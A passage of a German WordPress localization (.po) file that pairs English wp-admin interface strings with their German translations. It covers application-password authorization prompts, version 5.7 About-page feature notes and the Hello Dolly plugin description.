wp-admin/theme-install.php:112 wp-admin/themes.php:142 #: wp-admin/update-core.php:931 wp-admin/upload.php:54 wp-admin/upload.php:226 #: wp-admin/user-edit.php:64 wp-admin/user-new.php:272 wp-admin/users.php:32 #: wp-admin/widgets.php:55 wp-admin/network/index.php:33 #: wp-admin/network/settings.php:48 wp-admin/network/site-new.php:23 #: wp-admin/network/sites.php:28 wp-admin/network/themes.php:297 #: wp-admin/network/upgrade.php:21 wp-admin/network/user-new.php:20 #: wp-admin/network/users.php:217 msgid "Overview" msgstr "Übersicht" #: wp-admin/comment.php:56 wp-admin/edit-form-comment.php:17 #: wp-admin/includes/template.php:453 msgid "Edit Comment" msgstr "Kommentar bearbeiten" #: wp-admin/comment.php:46 msgid "You can’t edit this comment because the associated post is in the Trash. Please restore the post first, then try again." msgstr "Du kannst diesen Kommentar nicht bearbeiten, da der zugehörige Beitrag im Papierkorb ist. Bitte zuerst diesen Beitrag wiederherstellen und dann nochmal versuchen." #: wp-admin/authorize-application.php:302 msgid "You will be returned to the WordPress Dashboard, and no changes will be made." msgstr "Du wirst zurück zum WordPress-Dashboard geleitet, und es werden keine Änderungen vorgenommen." #: wp-admin/authorize-application.php:284 msgid "No, I do not approve of this connection." msgstr "Nein, ich stimme dieser Verbindung nicht zu." #: wp-admin/authorize-application.php:277 msgid "You will be given a password to manually enter into the application in question." msgstr "Du erhältst ein Passwort für die manuelle Eingabe in die betreffende Anwendung." #. translators: %s: The URL the user is being redirected to. #: wp-admin/authorize-application.php:264 #: wp-admin/authorize-application.php:298 msgid "You will be sent to %s" msgstr "Du wirst weitergeleitet zu %s" #: wp-admin/authorize-application.php:250 msgid "Yes, I approve of this connection." msgstr "Ja, ich stimme dieser Verbindung zu." #: wp-admin/authorize-application.php:227 wp-admin/user-edit.php:768 msgid "WordPress App on My Phone" msgstr "WordPress App auf meinem Smartphone" #: wp-admin/authorize-application.php:226 wp-admin/user-edit.php:767 msgid "New Application Password Name" msgstr "Name des neuen Anwendungspassworts" #: wp-admin/authorize-application.php:198 wp-admin/user-edit.php:902 #: wp-admin/js/auth-app.js:98 msgid "Be sure to save this in a safe location. You will not be able to retrieve it." msgstr "Vergewissere dich, dass du dieses an einem sicheren Ort aufbewahrst. Du wirst es nicht wiederherstellen können." #. translators: %s: Application name. #: wp-admin/authorize-application.php:191 wp-admin/user-edit.php:895 #: wp-admin/js/auth-app.js:90 msgid "Your new password for %s is:" msgstr "Dein neues Passwort für %s lautet:" #. translators: 1: URL to my-sites.php, 2: Number of blogs the user has. #: wp-admin/authorize-application.php:169 msgid "This will grant access to <a href=\"%1$s\">the %2$s blog in this installation that you have permissions on</a>." msgid_plural "This will grant access to <a href=\"%1$s\">all %2$s blogs in this installation that you have permissions on</a>." msgstr[0] "Dadurch erhältst du Zugriff auf <a href=\"%1$s\">den %2$s Blog in dieser Installation, für den du Berechtigungen hast.</a>" msgstr[1] "Dadurch erhältst du Zugriff auf <a href=\"%1$s\">die %2$s Blogs in dieser Installation, für die du Berechtigungen hast.</a>" #: wp-admin/authorize-application.php:156 msgid "Would you like to give this application access to your account? You should only do this if you trust the app in question." msgstr "Möchtest du dieser Anwendung Zugang zu deinem Konto ermöglichen? Dies solltest du nur tun, wenn du der betreffenden Anwendung vertraust." #. translators: %s: Application name. #: wp-admin/authorize-application.php:150 msgid "Would you like to give the application identifying itself as %s access to your account? You should only do this if you trust the app in question." msgstr "Möchtest du der Anwendung, die sich als %s identifiziert, Zugang zu deinem Konto ermöglichen? Du solltest dies nur tun, wenn du der betreffenden Anwendung vertraust." #: wp-admin/authorize-application.php:144 msgid "An application would like to connect to your account." msgstr "Eine Anwendung möchte sich mit deinem Konto verbinden." #: wp-admin/authorize-application.php:97 wp-admin/authorize-application.php:115 msgid "Go Back" msgstr "Zurück" #: wp-admin/authorize-application.php:93 wp-admin/user-edit.php:787 msgid "Your website appears to use Basic Authentication, which is not currently compatible with Application Passwords." msgstr "Deine Website scheint die Basis-Authentifizierung zu verwenden, die derzeit nicht mit den Anwendungspasswörtern kompatibel ist." #: wp-admin/authorize-application.php:87 wp-admin/authorize-application.php:94 #: wp-admin/authorize-application.php:112 msgid "Cannot Authorize Application" msgstr "Anwendung kann nicht autorisiert werden" #: wp-admin/authorize-application.php:86 msgid "The Authorize Application request is not allowed." msgstr "Die Anfrage zur Autorisierung der Anwendung ist nicht zulässig." #: wp-admin/authorize-application.php:65 msgid "Authorize Application" msgstr "Anwendung autorisieren" #: wp-admin/async-upload.php:58 msgctxt "media item" msgid "Success" msgstr "Erfolg" #: wp-admin/async-upload.php:56 msgctxt "media item" msgid "Edit" msgstr "Bearbeiten" #: wp-admin/admin.php:329 wp-admin/import.php:18 wp-admin/menu.php:280 msgid "Import" msgstr "Daten importieren" #: wp-admin/admin.php:305 wp-admin/import.php:15 msgid "Sorry, you are not allowed to import content into this site." msgstr "Du bist leider nicht berechtigt, Inhalte in diese Website zu importieren." #. translators: %s: Admin page generated by a plugin. #: wp-admin/admin.php:269 msgid "Cannot load %s." msgstr "%s kann nicht geladen werden." #: wp-admin/admin.php:262 msgid "Invalid plugin page." msgstr "Ungültige Plugin-Seite." #. translators: Admin screen title. %s: Admin screen name. #: wp-admin/admin-header.php:49 msgid "%s — WordPress" msgstr "%s – WordPress" #. translators: %s: https://wordpress.org #: wp-admin/admin-footer.php:37 msgid "Thank you for creating with <a href=\"%s\">WordPress</a>." msgstr "Danke für dein Vertrauen in <a href=\"%s\">WordPress</a>." #. translators: 1: WordPress version number, 2: Plural number of bugs. Singular #. security issue. #: wp-admin/about.php:425 msgid "<strong>Version %1$s</strong> addressed a security issue and fixed %2$s bug." msgid_plural "<strong>Version %1$s</strong> addressed a security issue and fixed %2$s bugs." msgstr[0] "<strong>Version %1$s</strong> behob ein Sicherheitsproblem und %2$s Fehler." msgstr[1] "<strong>Version %1$s</strong> behob ein Sicherheitsproblem und %2$s Fehler." #. translators: 1: WordPress version number, 2: Plural number of bugs. #: wp-admin/about.php:419 msgid "<strong>Version %1$s</strong> addressed %2$s bug." msgid_plural "<strong>Version %1$s</strong> addressed %2$s bugs." msgstr[0] "<strong>Version %1$s</strong> behob %2$s Fehler." msgstr[1] "<strong>Version %1$s</strong> behob %2$s Fehler." #. translators: %s: WordPress version number. #: wp-admin/about.php:416 msgid "<strong>Version %s</strong> addressed some security issues." msgstr "<strong>Version %s</strong> behob einige Sicherheitsprobleme." #: wp-admin/about.php:410 msgid "Maintenance and Security Release" msgstr "Wartungs- und Sicherheits-Update" #: wp-admin/about.php:408 msgid "Security Releases" msgstr "Sicherheits-Updates" #: wp-admin/about.php:407 msgid "Security Release" msgstr "Sicherheits-Update" #: wp-admin/about.php:405 msgid "Maintenance Releases" msgstr "Wartungs-Updates" #: wp-admin/about.php:404 msgid "Maintenance Release" msgstr "Wartungs-Update" #: wp-admin/about.php:316 wp-admin/includes/network.php:148 msgid "Go to Dashboard" msgstr "Zum Dashboard" #: wp-admin/about.php:316 msgid "Go to Dashboard → Home" msgstr "Zum Dashboard → Startseite" #: wp-admin/about.php:313 msgid "Go to Dashboard → Updates" msgstr "Weiter zu Dashboard → Aktualisierungen" #: wp-admin/about.php:313 msgid "Go to Updates" msgstr "Zu den Aktualisierungen" #. translators: %s: WordPress 5.7 Field Guide link. #: wp-admin/about.php:300 msgid "Check out the latest version of the WordPress Field Guide. It highlights developer notes for each change you may want to be aware of. <a href=\"%s\">WordPress 5.7 Field Guide.</a>" msgstr "Schau dir die neueste Version des WordPress-Field-Guides an. Er enthält Informationen für Entwickler zu jeder Änderung, über die du dich informieren solltest. <a href=\"%s\">WordPress-5.7-Field-Guide (engl.)</a>" #: wp-admin/about.php:295 msgid "Check the Field Guide for more!" msgstr "Weitere Informationen findest du im Field Guide!" #: wp-admin/about.php:287 msgid "Now it’s simple to let iframes lazy-load. By default, WordPress will add a <code>loading=\"lazy\"</code> attribute to iframe tags when both width and height are specified." msgstr "Jetzt ist es einfach, iframes verzögert laden zu lassen. Standardmäßig fügt WordPress ein <code>loading=\"lazy\"</code>-Attribut zu iframe-Tags hinzu, wenn sowohl Breite als auch Höhe angegeben sind." #: wp-admin/about.php:286 msgid "Lazy-load your iframes" msgstr "Deine iframes verzögert laden" #: wp-admin/about.php:285 msgid "In 5.7, jQuery gets more focused and less intrusive, with fewer messages in the console." msgstr "In 5.7 wird jQuery fokussierter und weniger aufdringlich, weil es weniger Meldungen in der Konsole anzeigt." #: wp-admin/about.php:284 msgid "For years jQuery helped make things move on the screen in ways the basic tools couldn’t—but that keeps changing, and so does jQuery." msgstr "Jahrelang half jQuery dabei, Dinge auf dem Bildschirm auf eine Art und Weise zu bewegen, wie es die grundlegenden Werkzeuge nicht konnten – aber das ändert sich ständig, und jQuery auch." #: wp-admin/about.php:283 msgid "Ongoing cleanup after update to jQuery 3.5.1" msgstr "Weitere Aufräumarbeiten nach dem Update auf jQuery 3.5.1" #: wp-admin/about.php:278 msgid "The new Robots API lets you include the filter directives in the robots meta tag, and the API includes the <code>max-image-preview: large</code> directive by default. That means search engines can show bigger image previews, which can boost your traffic (unless the site is marked <em>not-public</em>)." msgstr "Mit dem neuen Robots-API kannst du die Filter-Direktiven in den Robots-Meta-Tag einbinden, und das API enthält standardmäßig die Direktive <code>max-image-preview: large</code>. Das bedeutet, dass Suchmaschinen größere Bildvorschauen anzeigen können, was deinen Traffic steigern kann (es sei denn, die Seite ist als <em>nicht-öffentlich</em> markiert)." #: wp-admin/about.php:275 msgid "New Robots API" msgstr "Neues Robots-API" #: wp-admin/about.php:274 msgid "Starting now, switching a site from HTTP to HTTPS is a one-click move. WordPress will automatically update database URLs when you make the switch. No more hunting and guessing!" msgstr "Ab sofort ist die Umstellung einer Website von HTTP auf HTTPS mit einem Klick möglich. WordPress aktualisiert automatisch die Datenbank-URLs, wenn du die Umstellung vornimmst. Kein Suchen und Rätselraten mehr!" #: wp-admin/about.php:273 msgid "From HTTP to HTTPS in a single click" msgstr "Von HTTP zu HTTPS mit einem einzigen Klick" #. translators: %s: Color palette dev note link. #: wp-admin/about.php:252 msgid "Find the new palette in the default WordPress Dashboard color scheme, and use it when you’re building themes, plugins, or any other components. For all the details, <a href=\"%s\">check out the Color Palette dev note</a>." msgstr "Die neue Palette findest du im Standard-Farbschema für das WordPress-Dashboard und du kannst sie beim Erstellen von Themes, Plugins oder anderen Komponenten verwenden. Alle Details hierzu erfährst du in den <a href=\"%s\">Entwicklungshinweisen zur Farb-Palette (engl.)</a>." #: wp-admin/about.php:245 msgid "Half the range has a 4.5 or higher contrast ratio against black, and the other half maintains the same contrast against white." msgstr "Die Hälfte des Bereichs hat ein Kontrastverhältnis von 4,5 oder höher gegen Schwarz und die andere Hälfte behält denselben Kontrast gegen Weiß bei." #: wp-admin/about.php:238 msgid "The colors are perceptually uniform from light to dark in each range, which means they start at white and get darker by the same amount with each step." msgstr "Die Farben sind in jedem Bereich von hell bis dunkel gleichmäßig wahrnehmbar, das heißt, sie beginnen bei Weiß und werden bei jedem Schritt um denselben Betrag dunkler." #. translators: %s: WCAG information link. #: wp-admin/about.php:231 msgid "This new streamlined color palette collapses all the colors that used to be in the WordPress source code down to seven core colors and a range of 56 shades that meet the <a href=\"%s\">WCAG 2.0 AA recommended contrast ratio</a> against white or black." msgstr "Diese neue, gestraffte Farbpalette reduziert alle im WordPress-Quellcode enthaltenen Farben auf sieben Kernfarben plus 56 Abstufungen, welche die <a href=\"%s\">Kontrast-Empfehlungen gemäß WCGA 2.0 AA (engl.)</a> gegenüber Weiß oder Schwarz erfüllen." #: wp-admin/about.php:221 msgid "Above, the Dashboard before and after the color update in 5.7." msgstr "Das Dashboard vor und nach der Überarbeitung der Farben in 5.7." #: wp-admin/about.php:218 msgid "Dashboard with new color scheme." msgstr "Dashboard mit neuem Farbschema." #: wp-admin/about.php:216 msgid "Dashboard with old color scheme." msgstr "Dashboard mit altem Farbschema." #: wp-admin/about.php:209 msgid "A Simpler Default Color Palette" msgstr "Eine übersichtlichere Standard-Farbpalette" #: wp-admin/about.php:196 msgid "<strong>Social Icons block:</strong> now you can change the size of the icons." msgstr "<strong>Social-Icons-Block:</strong> Nun kann die Größe der Icons geändert werden." #: wp-admin/about.php:191 msgid "<strong>Buttons block:</strong> now you can choose a vertical or a horizontal layout. And you can set the width of a button to a preset percentage." msgstr "<strong>Buttons-Block:</strong> Nun kannst du zwischen einem vertikalen oder einem horizontalen Layout auswählen. Außerdem kann die Breite eines Buttons auf einen vorgegebenen Prozentsatz eingestellt werden." #: wp-admin/about.php:186 msgid "<strong>Full-height alignment:</strong> have you ever wanted to make a block, like the Cover block, fill the whole window? Now you can." msgstr "<strong>Ausrichtung über die gesamte Höhe:</strong> Wolltest du schon einmal einen Block, wie zum Beispiel den Cover-Block, das gesamte Fenster ausfüllen lassen? Jetzt geht das." #: wp-admin/about.php:181 msgid "You can do more without writing custom code" msgstr "Du kannst mehr Möglichkeiten nutzen, ohne individuellen Code zu schreiben" #: wp-admin/about.php:167 msgid "<strong>Inserter drag-and-drop:</strong> drag blocks and block patterns from the inserter right into your post." msgstr "<strong>Inserter mit Drag-and-drop:</strong> Ziehe Blöcke und Block-Vorlagen aus dem Inserter direkt in deinen Beitrag." #: wp-admin/about.php:162 msgid "<strong>Reusable blocks:</strong> several enhancements make reusable blocks more stable and easier to use. And now they save automatically with the post when you click the Update button." msgstr "<strong>Wiederverwendbare Blöcke:</strong> Mehrere Verbesserungen machen wiederverwendbare Blöcke stabiler und einfacher in der Anwendung. Außerdem werden sie jetzt automatisch mit dem Beitrag gespeichert, wenn du auf den Button Aktualisieren klickst." #: wp-admin/about.php:157 msgid "<strong>Font-size adjustment in more places:</strong> now, font-size controls are right where you need them in the List and Code blocks. No more trekking to another screen to make that single change!" msgstr "<strong>Anpassung der Schriftgröße an weiteren Stellen:</strong> Jetzt befinden sich die Steuerelemente für die Schriftgröße genau dort, wo sie in den Listen- und Code-Blöcken benötigt werden. Es ist nicht mehr nötig, zu einem anderen Bildschirm zu wechseln, um diese eine Änderung vorzunehmen!" #: wp-admin/about.php:152 msgid "Now the editor is easier to use" msgstr "Der Editor ist jetzt einfacher benutzbar" #. translators: 1: WordPress version number, 2: Plural number of bugs. More #. than one security issue. #: wp-admin/about.php:77 wp-admin/about.php:124 wp-admin/about.php:431 msgid "<strong>Version %1$s</strong> addressed some security issues and fixed %2$s bug." msgid_plural "<strong>Version %1$s</strong> addressed some security issues and fixed %2$s bugs." msgstr[0] "<strong>Version %1$s</strong> behob Sicherheitsprobleme und %2$s Fehler." msgstr[1] "<strong>Version %1$s</strong> behob Sicherheitsprobleme und %2$s Fehler." #. translators: %s: WordPress version. #: wp-admin/about.php:92 wp-admin/about.php:113 wp-admin/about.php:139 #: wp-admin/includes/update.php:302 wp-admin/install.php:238 #: wp-admin/update-core.php:84 wp-admin/upgrade.php:80 msgid "https://wordpress.org/support/wordpress-version/version-%s/" msgstr "https://wordpress.org/support/wordpress-version/version-%s/" #. translators: %s: HelpHub URL. #. translators: %s: Documentation URL. #: wp-admin/about.php:89 wp-admin/about.php:110 wp-admin/about.php:136 #: wp-admin/about.php:437 msgid "For more information, see <a href=\"%s\">the release notes</a>." msgstr "Weitere Informationen findest du in den <a href=\"%s\">Veröffentlichungsmitteilungen</a>." #. translators: %s: WordPress version number. #: wp-admin/about.php:103 wp-admin/about.php:414 msgid "<strong>Version %s</strong> addressed one security issue." msgstr "<strong>Version %s</strong> behob ein Sicherheitsproblem." #: wp-admin/about.php:71 wp-admin/about.php:411 msgid "Maintenance and Security Releases" msgstr "Wartungs- und Sicherheits-Updates" #: wp-admin/about.php:61 msgid "With this new version, WordPress brings you fresh colors. The editor helps you work in a few places you couldn’t before—at least, not without getting into code or hiring a pro. The controls you use most, like changing font sizes, are in more places—right where you need them. And layout changes that should be simple, like full-height images, are even simpler to make." msgstr "Mit dieser neuen Version bringt WordPress dir frische Farben. Der Editor hilft dabei, an Stellen zu arbeiten, an denen das bisher nicht möglich war – zumindest nicht, ohne in den Code einzugreifen oder einen Profi zu engagieren. Die Steuerelemente, die am häufigsten verwendet werden, wie zum Beispiel das Ändern der Schriftgröße, befinden sich an weiteren Stellen – genau dort, wo sie benötigt werden. Und Layout-Änderungen, die eigentlich einfach sein sollten, wie zum Beispiel Bilder in voller Höhe, sind jetzt noch einfacher umzusetzen." #. translators: %s: The current WordPress version number. #: wp-admin/about.php:54 msgid "Step into WordPress %s." msgstr "Einstieg in WordPress %s." #: wp-admin/about.php:44 wp-admin/credits.php:45 wp-admin/freedoms.php:48 #: wp-admin/menu.php:299 wp-admin/options-privacy.php:139 #: wp-admin/privacy-policy-guide.php:37 wp-admin/privacy.php:12 #: wp-admin/privacy.php:42 wp-admin/privacy.php:48 msgid "Privacy" msgstr "Datenschutz" #: wp-admin/about.php:43 wp-admin/credits.php:44 wp-admin/freedoms.php:18 #: wp-admin/freedoms.php:47 wp-admin/freedoms.php:53 wp-admin/privacy.php:41 msgid "Freedoms" msgstr "Freiheiten" #: wp-admin/about.php:42 wp-admin/credits.php:13 wp-admin/credits.php:43 #: wp-admin/credits.php:51 wp-admin/freedoms.php:46 wp-admin/privacy.php:40 msgid "Credits" msgstr "Mitwirkende" #: wp-admin/about.php:41 wp-admin/credits.php:42 wp-admin/freedoms.php:45 #: wp-admin/privacy.php:39 msgid "What’s New" msgstr "Was gibt's Neues" #: wp-admin/about.php:40 wp-admin/credits.php:41 wp-admin/freedoms.php:44 #: wp-admin/includes/ms.php:1122 wp-admin/nav-menus.php:687 #: wp-admin/options-privacy.php:143 wp-admin/privacy-policy-guide.php:41 #: wp-admin/privacy.php:38 wp-admin/site-health-info.php:51 #: wp-admin/site-health.php:89 msgid "Secondary menu" msgstr "Zweites Menü" #: wp-admin/about.php:37 wp-admin/credits.php:37 wp-admin/freedoms.php:40 #: wp-admin/privacy.php:34 msgid "Jazz up your stories in an editor that’s cleaner, crisper, and does more to get out of your way." msgstr "Peppe deine Geschichten mit einem Editor auf, der sauberer und knackiger ist und mehr aus der Reihe tanzt." #: wp-admin/about.php:31 wp-admin/credits.php:31 wp-admin/freedoms.php:34 #: wp-admin/includes/class-wp-debug-data.php:66 #: wp-admin/includes/class-wp-privacy-policy-content.php:694 #: wp-admin/includes/media.php:522 wp-admin/includes/template.php:2023 #: wp-admin/install.php:77 wp-admin/maint/repair.php:24 wp-admin/privacy.php:28 #: wp-admin/setup-config.php:118 wp-admin/upgrade.php:68 msgid "WordPress" msgstr "WordPress" #. translators: Page title of the About WordPress page in the admin. #: wp-admin/about.php:16 msgctxt "page title" msgid "About" msgstr "Über" #. Author URI of the plugin msgid "http://ma.tt/" msgstr "https://ma.tt/" #. Description of the plugin msgid "This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from <cite>Hello, Dolly</cite> in the upper right of your admin screen on every page." msgstr "Dies ist nicht nur ein Plugin, es symbolisiert in zwei Worten, gesungen von Louis Amstrong, die Hoffnung und den Enthusiasmus einer ganzen Generation: <cite>Hello, Dolly</cite>. Nach Aktivierung werden im Zufallsprinzip aus dem Liedtext von „Hello, Dolly“ Zeilen oben rechts im Administrationsbereich angezeigt." #. Plugin URI of the plugin msgid "http://wordpress.org/plugins/hello-dolly/" msgstr "https://de.wordpress.org/plugins/hello-dolly/" #. Plugin Name of the plugin msgid "Hello Dolly" msgstr "Hello Dolly"